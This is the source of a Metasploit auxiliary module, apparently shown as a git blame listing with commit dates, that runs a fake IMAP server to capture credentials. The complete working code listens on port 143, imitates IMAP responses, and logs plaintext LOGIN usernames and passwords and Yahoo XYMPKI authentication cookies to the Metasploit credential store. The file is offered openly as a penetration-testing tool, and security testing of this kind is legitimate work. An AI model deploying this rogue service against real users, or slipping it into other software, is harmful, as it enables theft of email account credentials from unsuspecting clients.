2008-03-02 04:46:13 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-03-02 04:46:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-03-02 04:46:13 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Authentication Capture: IMAP',
|
|
|
|
'Description' => %q{
|
|
|
|
This module provides a fake IMAP service that
|
|
|
|
is designed to capture authentication credentials.
|
|
|
|
},
|
|
|
|
'Author' => ['ddz', 'hdm'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'Capture' ]
|
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'Capture'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Capture'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def setup
|
|
|
|
super
|
|
|
|
@state = {}
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
|
|
|
exploit()
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(c)
|
|
|
|
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
|
|
|
|
c.put "* OK IMAP4\r\n"
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_data(c)
|
|
|
|
data = c.get_once
|
2014-08-05 02:31:33 +00:00
|
|
|
return unless data
|
|
|
|
num, cmd, arg = data.strip.split(/\s+/, 3)
|
2013-08-30 21:28:54 +00:00
|
|
|
arg ||= ""
|
|
|
|
|
2014-08-05 02:31:33 +00:00
|
|
|
if cmd.upcase == 'CAPABILITY'
|
2013-08-30 21:28:54 +00:00
|
|
|
c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " +
|
|
|
|
"MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " +
|
|
|
|
"QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " +
|
|
|
|
"AUTH=XYMPKI AUTH=XYMECOOKIE ID\r\n"
|
|
|
|
c.put "#{num} OK CAPABILITY completed.\r\n"
|
|
|
|
end
|
|
|
|
|
2014-08-05 02:31:33 +00:00
|
|
|
# Handle attempt to authenticate using Yahoo's magic cookie
|
|
|
|
# Used by iPhones and Zimbra
|
|
|
|
if cmd.upcase == 'AUTHENTICATE' && arg.upcase == 'XYMPKI'
|
2013-08-30 21:28:54 +00:00
|
|
|
c.put "+ \r\n"
|
|
|
|
cookie1 = c.get_once
|
|
|
|
c.put "+ \r\n"
|
|
|
|
cookie2 = c.get_once
|
2014-08-05 02:31:33 +00:00
|
|
|
register_creds(@state[c][:ip], cookie1, cookie2, 'imap-yahoo')
|
2013-08-30 21:28:54 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-08-05 02:31:33 +00:00
|
|
|
if cmd.upcase == 'LOGIN'
|
2013-08-30 21:28:54 +00:00
|
|
|
@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
|
|
|
|
|
2014-08-05 02:31:33 +00:00
|
|
|
register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-08-05 02:31:33 +00:00
|
|
|
if cmd.upcase == 'LOGOUT'
|
2013-08-30 21:28:54 +00:00
|
|
|
c.put("* BYE IMAP4rev1 Server logging out\r\n")
|
|
|
|
c.put("#{num} OK LOGOUT completed\r\n")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
@state[c][:pass] = data.strip
|
|
|
|
c.put "#{num} NO LOGIN FAILURE\r\n"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_close(c)
|
|
|
|
@state.delete(c)
|
|
|
|
end
|
2008-03-02 04:46:13 +00:00
|
|
|
|
2014-08-05 02:31:33 +00:00
|
|
|
def register_creds(client_ip, user, pass, service_name)
|
|
|
|
# Build service information
|
|
|
|
service_data = {
|
|
|
|
address: client_ip,
|
|
|
|
port: datastore['SRVPORT'],
|
|
|
|
service_name: service_name,
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
# Build credential information
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
private_data: pass,
|
|
|
|
private_type: :password,
|
|
|
|
username: user,
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data.merge!(service_data)
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
|
|
|
|
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
login_data.merge!(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
2009-03-28 05:51:18 +00:00
|
|
|
end
|